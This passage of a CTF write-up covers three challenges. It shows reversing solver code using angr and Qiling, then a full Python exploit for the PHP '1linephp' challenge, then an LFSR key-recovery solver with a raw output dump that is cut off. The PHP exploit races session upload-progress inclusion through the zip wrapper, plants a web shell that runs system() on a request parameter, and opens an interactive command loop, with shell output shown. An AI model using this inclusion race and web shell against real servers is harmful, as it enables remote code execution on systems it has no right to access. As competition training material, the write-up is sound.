    if (argc != 2) die("usage: %s file", argv[0]);
    int fd = open(argv[1], O_RDONLY);
    if (fd < 0) die("open");
    deadsp = mmap((void *) 0xdead0000u, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (deadsp == MAP_FAILED) die("mmap deadsp");
    void *binary = mmap(NULL, 0x100000, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
    if (binary == MAP_FAILED) die("mmap binary");
    signal(SIGTRAP, handler);
    uint64_t space = 0;

    typedef void (*fn_t)(uint64_t *);
    fn_t actual = (fn_t) binary;

    actual(&space);

    printf("%#lx\n", space);
}

Now that we don’t emulate the binary anymore, we don’t know where the input mangling function is - and we need the offset to feed the function into angr. However, a simple signature matching approach solves this:

import argparse
import json
import struct
import subprocess
import tempfile

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('challenge')
    args = parser.parse_args()

    with tempfile.NamedTemporaryFile('r+b') as code_region, tempfile.NamedTemporaryFile('w') as metadata:
        subprocess.check_output(['./get_code', code_region.name, args.challenge])
        expected = struct.pack('Q', int(subprocess.check_output(['./get_expected', code_region.name]), 16)).hex()
        ops = code_region.read()
        signature = bytes.fromhex('55 4889e5 4157 4156 4155 4154 53 4883ec18')
        offset = ops.index(signature)
        assert offset
        meta = {
            'result': expected,
            'addr': 0x7ffff7cb0000,
            'offset': offset
        }
        json.dump(meta, metadata)
        metadata.flush()
        result = bytes.fromhex(subprocess.check_output(['./run_angr.sh', code_region.name, metadata.name]).strip().decode())
        print(f'\x1b[32;1mResult is {result.hex()}\x1b[0m')

Combined with the angr part, this solves a challenge binary in a few seconds, fast enough to solve all three binaries within their respective timeouts and obtain the flag: flag{750ed331a830366707b719500f150537}

Footnotes

I had some issues running Qiling and angr in the same Python venv, which is why everything runs through subprocess, even though it’s probably not the best design. There’s also an extra wrapper script that just deals with the network communication to automate storing the challenges and sending the (binary) input back to the server, but it’s all very standard stuff that you would find in any pwn challenge anyways.

As a bonus, here’s the code to emulate signal delivery in Qiling. It’s nowhere close to supporting all the features the kernel has, but it was good enough here. Also note that last line in spoof_rt_sigreturn (that sets EINTR for the signal that arrives during nanosleep) - likely that is what broke the computation of the expected value; after all, we shouldn’t be setting RAX if we are not in a system call.

SIGACTION = Struct('QQQQ') # handler, flags, restorer, mask
SIGNAL_ACTIONS = {}
SIGNAL_SAVED_STATE = None

def send_signal(ql, signum, adjust=False):
    global SIGNAL_SAVED_STATE
    assert not SIGNAL_SAVED_STATE, 'Cannot handle nested signals'
    if signum not in SIGNAL_ACTIONS:
        return
    handler, flags, restorer, mask = SIGNAL_ACTIONS[signum]
    assert not flags & 4, 'SA_SIGINFO not supported'
    assert not flags & 8, 'SA_ONSTACK not supported'
    if flags & 0x80000000:
        del SIGNAL_ACTIONS[signum] # SA_RESETHAND / SA_ONESHOT
    SIGNAL_SAVED_STATE = ql.reg.save()
    # kernel: signal.c: __setup_rt_frame
    frame = pack('Q', restorer)
    pre_redzone = ((ql.reg.rsp - 128) | 0xF) - 0xF
    frame_addr = ((pre_redzone - len(frame)) | 0xF) - 0xF
    ql.mem.write(frame_addr, frame)
    if adjust:
        skip = next(ql.disassembler.disasm(ql.mem.read(ql.reg.rip, 32), 0)).size
    else:
        skip = 0
    ql.reg.rsp = frame_addr
    ql.reg.rdi = signum
    ql.reg.rax = 0
    ql.reg.rsi = 0 # siginfo normally, no magic here yet (TODO)
    ql.reg.rdx = 0 # context normally, don't allow magic here yet (TODO)
    ql.reg.rip = handler - skip # RIP is adjusted after the signal is sent

def spoof_rt_sigaction(ql, signum, action_ptr, old_action_ptr, *_):
    if old_action_ptr:
        print('WARNING: Ignoring oldact in rt_sigaction')
    action = ql.mem.read(action_ptr, SIGACTION.size)
    SIGNAL_ACTIONS[signum] = SIGACTION.unpack(action)

def spoof_rt_sigreturn(ql, *_):
    global SIGNAL_SAVED_STATE
    assert SIGNAL_SAVED_STATE, 'No signal'
    ql.reg.restore(SIGNAL_SAVED_STATE)
    SIGNAL_SAVED_STATE = None
    ql.reg.rax = -EINTR

# ...

ql.set_syscall('rt_sigaction', spoof_rt_sigaction)
ql.set_syscall('rt_sigreturn', spoof_rt_sigreturn)

1linephp

0xbb | web, 20 solves, 366 points

We are presented with a minimal PHP (♥) challenge:

<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
... phpinfo() output ...

This challenge is a nice twist of the orange’s HITCON CTF 2018 - One Line PHP Challenge (https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html). The important change here is the forced .php extension of the file name.

Exploit plan:

  1. Use the enabled zip wrapper (https://www.php.net/manual/en/wrappers.compression.php) to work around the .php file extension limitation (e.g. zip://archive.zip#foo.php)
  2. Adjust the zip file to be able to prepended by upload_progress_
  3. Use PHP_SESSION_UPLOAD_PROGRESS upload the zip file on the server
  4. Race including this content
  5. Profit

Full exploit:

#!/usr/bin/env python3
import requests, threading, base64, os, time

payload =b'''@<?php echo "WIN"; file_put_contents("/tmp/glump.php", '@<?php if(md5($_GET["p"])==="046c727f7f950f0f775ef46014f8354a")system($_GET["c"]);');'''
print(payload)
with open('h.php', 'wb') as f:
    f.write(payload)

# adjust zip file for prepend content
os.system('rm -f a.zip; zip a.zip h.php && echo  -n "upload_progress_" > out.zip && cat a.zip >> out.zip; zip --adjust-sfx out.zip')


# make sure the payload works with captured sess content as a suffix
with open('suffix.php', 'wb') as f:
    f.write(b"""|a:5:{s:10:"start_time";i:1625342307;s:14:"content_length";i:3279084;s:15:"bytes_processed";i:5424;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:1:"0";s:4:"name";s:1:"0";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1625342307;s:15:"bytes_processed";i:5424;}}}""")
os.system('''cat out.zip suffix.php > sess_test; php -r "var_dump(file('zip://sess_test#h.php'));" ''')


with open('out.zip', 'rb') as f:
    payload = f.read()[16:]
print(payload)
assert payload[:2] == b'PK'


URL = 'http://111.186.59.2:50080/'
password = 'QrgMuhNNjWR9B6h'

files = {}
for i in range(20):
    files[str(i)] =b'A'*4096*40

hacked = False

def uploader():
    global hacked
    sess = requests.Session()
    while not hacked:
        try:
            r  = sess.post(URL,
            params={
                'yxxx': f'x',
            },
            files=files,
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': payload
            },cookies={
                'PHPSESSID': password,
            })
            print('+',flush=True, end='')
        except Exception as e:
            sess = requests.Session()
            print(e)

def checker():
    global hacked
    sess = requests.Session()
    while not hacked:
        try:
            r  = sess.get(URL,
            params={
                'yxxx': f'zip:///tmp/sess_{password}#h',
                'c':'id',
                'p': 'wtkUdF8BwpaqTSVXedDXeAJ'

            },cookies={
                'PHPSESSID': password,
            })
            print('.',flush=True, end='')

            if 'WIN' in r.text:
                print(r.text)
                hacked = True
        except Exception as e:
            sess = requests.Session()
            print(e)

for _ in range(8):
    threading.Thread(target=uploader).start()

for _ in range(8):
    threading.Thread(target=checker).start()

while not hacked:
    time.sleep(.5)

while True:
    c = input('cmd:')
    print(c)
    r  = requests.get(URL,
        params={
            'yxxx': f'/tmp/glump',
            'c':c,
            'p': 'wtkUdF8BwpaqTSVXedDXeAJ'

        },cookies={
            'PHPSESSID': password,
    })
    print(r.text)

"""
cmd:ls -l /
@total 116
drwxr-xr-x   1 root root  4096 Oct 13  2020 bin
drwxr-xr-x   2 root root  4096 Sep 19  2020 boot
drwxr-xr-x   1 root root  4096 Jul  1 16:23 dd810fc36330c200a_flag
drwxr-xr-x   5 root root   340 Jul  3 21:50 dev
drwxr-xr-x   1 root root  4096 Jul  3 21:50 etc
drwxr-xr-x   2 root root  4096 Sep 19  2020 home
drwxr-xr-x   1 root root  4096 Oct 13  2020 lib
drwxr-xr-x   2 root root  4096 Oct 12  2020 lib64
drwxr-xr-x   2 root root  4096 Oct 12  2020 media
drwxr-xr-x   2 root root  4096 Oct 12  2020 mnt
drwxr-xr-x   2 root root  4096 Oct 12  2020 opt
dr-xr-xr-x 682 root root     0 Jul  3 21:50 proc
drwx------   1 root root  4096 Oct 13  2020 root
drwxr-xr-x   1 root root  4096 Oct 13  2020 run
drwxr-xr-x   1 root root  4096 Oct 13  2020 sbin
drwxr-xr-x   2 root root  4096 Oct 12  2020 srv
dr-xr-xr-x  13 root root     0 Jul  1 12:12 sys
drwxrwxrwt   1 root root 45056 Jul  3 21:52 tmp
drwxr-xr-x   1 root root  4096 Oct 12  2020 usr
drwxr-xr-x   1 root root  4096 Oct 13  2020 var


$ cat /*_flag/*
flag{a69ecd858b116673fa5b2697b1770aef}
"""

zer0lfsr-

yyyyyyy | crypto, 35 solves, 244 points

I literally threw Generator3 and Generator1 into Boolector and let it do its thing:

import pyboolector, sys

def solve(num, out):

    btor = pyboolector.Boolector()
    btor.Set_opt(pyboolector.BTOR_OPT_MODEL_GEN, True)
    btor.Set_opt(pyboolector.BTOR_OPT_INCREMENTAL, 1)

    msk = btor.Var(btor.BitVecSort(64), 'msk')

    sym = zer0lfsr(msk, num)

    for i in range(len(out)):
        btor.Assert(btor.Eq(sym.next(), out[i]))
        print(num, i, btor.Sat(), file=sys.stderr)

    print(f'{num} \x1b[31m{btor.Sat()}\x1b[0m')

    ret = []
    while btor.Sat() == btor.SAT:
        btor.Print_model()
        ret.append(int(msk.assignment,2))
        btor.Assert(btor.Not(btor.Eq(msk, msk.assignment)))

    return ret

########################################

import socket, re, telnetlib, hashlib, itertools

sock = socket.socket()
sock.connect(('111.186.59.28', 31337))

if 1:
    s = b'';
    while b'Give me XXX' not in s:
        tmp = sock.recv(0x100); assert tmp; s += tmp
#    print(s)
    m = re.search(r'XXXX *\+ *([^)]+)\) == ([0-9a-f]+)', s.decode())
    suffix, d = m.groups()
#    print(suffix, d)
    alph = string.ascii_letters + string.digits + '!#$%&*-?'
    for s in map(''.join, itertools.product(alph, repeat=4)):
        if hashlib.sha256((s + suffix).encode()).hexdigest() == d:
            sock.sendall(s.encode() + b'\n')
            break
    else: assert False
    print('PoW done')

from until import until

for num in (3,1):
    sock.sendall(f'{num}\n'.encode())
    s = until('k: \n', sock)
    hint = re.search(b'hint: ([0-9a-f]+)', s).groups()[0].decode()
    print(hint)
    bs = s[s.index(b'start:::')+len(b'start:::') : s.index(b':::end')]
    print(bs)
    out = list(map(int, ''.join(map('{:08b}'.format, bs))))
    print(out)
    keys = solve(num, out[:100])
    print(keys)
    key = next(k for k in keys if hashlib.sha256(str(k).encode()).hexdigest() == hint)
    print(f'\x1b[32m{key:#018x}\x1b[0m')
    sock.sendall(f'{key}\n'.encode())
    s = until('\n', sock).decode()
    print(f'{num} \x1b[33m{s}\x1b[0m')

tel = telnetlib.Telnet()
tel.sock = sock
tel.interact()

Output:

PoW done
ffb34a520fdcf80f5b340e7777c6951c6304a8c1beeaddebaad90b8fb3f30578
b'\xd4\x96~\xca\xd4\xc8V\x9b\xc6\xf8X\xde\x03\xb8m\x9f\xf7\xa5\xb9\xde_\xaa\x8b\x95\xc3)\xbc\xfeR\n\xfaX\x96\xc5g\xb7\xe27\x86\xcb\xe9\xa3Sn\t\x13\xb7\xb9\xef\t\xeb\xd6tv\x86\x06\xb0\x83\xfa\x93\x13\xc9jt\xc1\xdf\xb88\xfa?d\xcc\x15%9lZ\xbfc\xa7\xad\xfbA\xf4\xea\xb6m\x95\x93=\x08\x1a\xd6M\xc5\xff~\x89[\x8c\xb4O9\xb3\x0bh\xdfx\xd5\xcb\xd2=\xc8\xf3K\x8aw\xdf\x8f"\x13\xcf^\x1e\xd8\xc2\xb2\xed\x7f`c\xdb>i\x02 \xf2\x83G\xb4\xa0\xe6,\x06,\xb1\xe4|\xf3t\xde\xcb\x05\x97\x81\x8f\xf7\xe4;S\xf08r)8\x8b4\x88\xa2\xb5\xdf+m,\x80\xd1\xbb\xf8BJ$+R~\xabm\xfc\xdc\xadd\xfe_\x99\xfd\xdc\xda\xf5g%\xd26\xe5\x89\x19:Xd\xfc?\xfa\xc7\xb6l\xf7/1K\x13.vO\x9fs`Xv\x0c\xd8K\xec#\xc6n\x1e\xac\xa9\x80\r\xa7d\xdc\x90\xb07\xbaw\xb4\xfb\x082%\x13\x1c\x08\x82\xe5O`\x17\xb4\x04\x89\xfa$M\xd8\xc9\xcb\x18\xb1j~c\x17\xf5\x8d\xd3zt\x9f\xa6\x8fuK=\xb6\xec\xe2\x1c\xff\\\x17\x9bk\x9e\xc6\xb3\x9b\xce-\x8a\xdeR\xfbJ\\Z-\x99\\\rd\xf5X\x84\xe0lq\xeb\xd4\x96\xbe\xff\xd3\x91\xe4\xee\xc0\xa0#&S\x86\xc6_}\x83\xbfy.D\xf8\xdb\x1fZ;\xb5\x90\xf1h\xd6\xf1\xdece\x14\xbe\x0f,\xcd)}\x9eo\xcb32m*\x00\x8d\xaa\xec{\xbe\x92nf\xfap\x16\xf7\xa6\x1aK\x0e\x95\xd7IO\x86!rx@\xe9\xae\xee\x91,\xcc\xbb\x83L\xaf\xf9\xb5\x92\r\x8c3\xe6\x04f\xc5L\x19L!Y\xd9g\x0b\x95#7\x96\n\xab\xe1\\\xf2\xc8m\xf3\x15\xdf\xe1\x82t\xb6;,\xe4\xb8r\x15\x19qi\r\xe9\xf9\xf3l\x8d\x97\xadT\x80\xa7\xd7}\xea\xd3\xd1\xab\x0c\x82\xf7\xad\xbdr~\xdc\x80\x9b\xc4\xe0D\xfc~\xc0\xbc\xdf8\x8f\xc4\x9f\xbd\xe3mh\t\x9f\xe5\xe6\x11\x9e\x19-\x92t\xd6\x17\xb2\xd6\xf7g\xdbO\xb9.\xc6`O\x8fLR\x8bC\xbe\x97\xaf\x04U\x9f\x82\x9b\xe4\xfb_Q\xaa6\x91\xa1\xa6\xfcP>\xb8\x9b\xea)\x14\xb2\x91\x10~\x8f[\x99\x8f\xb5\xb8\xf1\xfeI\x14\xff\xf1\xb4\xb4\xa5\xabQ\xc3~8A\xb4*y\x0c{\xd4\x02\t\xa27\x14^\xb1e\x94\x10\xd7n\xc0;$\xfbi%\x7f\xdc\xe5r\x13\xc5pV\xd5C-\xfe\x8bAj\n\xafA\xbc\xc8\x9e\xa4-\t*?!s\n@\r\xa8\xc5\xf0\x12|L\xcc\x81\xb9\xc2R5\x10\x96\\\x1c\x0e>\xfb\xdc\rF\xa3\xfd\xb2&\xb6\xcd\xe2pH\x8e\x0e\xc2\x9e?\xbd\xe5\x06\xdf\xa3\xe0{\xf55\n\xf6\xb9<\x8f-yL?\xeb\x90\xb2\x84\xe0\x98e\xbeE\x06\xe6\xbb\x13j\x1b9>%\xd80\xd6\xc2$|~&\x81^\xd9\xf7\xfd\x8d)0\xc2y%[L\x88\xd4\x9b\x13\x0f9\x03\xbd\x02\x1e)\x01n\xe8\xcdFv\xba\x8f\x8b\xfb\x8alI|z\x19\xdb;K\xf7k%\xd7O\x90\x81oUz6^\x8b\x8ak\xa4\x15\x94\xa9\xd7\xd7\xa7V\xa1\xfd9\x7fz\xc8\xdby\xc2^\xbb\xbb.#"$\xdbX\xe9B\xdf\xca\xba[\xef\xed\x0b\xbao\x91\x14\x82\xda-\t?\xf9\xb4\xad\xd9|\xffg\xec8I\xbc\xe9\x9d\xfdT\x84\xb7\x0e\xdb\x99\x17\xd7\x03d_\xab\xfaE\x91~\xf4G\xb0&\xa7\xe7U-;<\xe1\xecmMkyj\xfd\xdaL\xc8(\xcc\xbb\xac\x98\xa9\xcf\xd4Y\x995J\xcf\x10\x0e?8i\x95z\xc1N\x1aZ\x1e\xc5K\x81 g\xcf%\xafG\x16\x80mM\xe2\x1f;\\A\x96y\xa3\xc4`\x9b>jHR\x92\x95\xc5\xd5$\xf5\xc3\x08\xb4\x0c}\xb8Z\xeeA\t6\x9e\x9b\xf6\xee\xfff\xfe\x7f\xae\xf2!Q7\xd9]%\x95\xbd\xbe\xa0\xfb-\xc5\xff}\xdd\xb4\xb5\xae\x92\x94\xfb\x99_\xb2\xc3\'\xf2\xf1O\xfe\x9b\xad\x81\x92\x85\xdf;\xf2\xe5\xf6\xfe\xce\x19\x81D\xd8\xf4\xc7ma\x0c\xa5&\x11\xabG4\xbef\xd7'
[1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 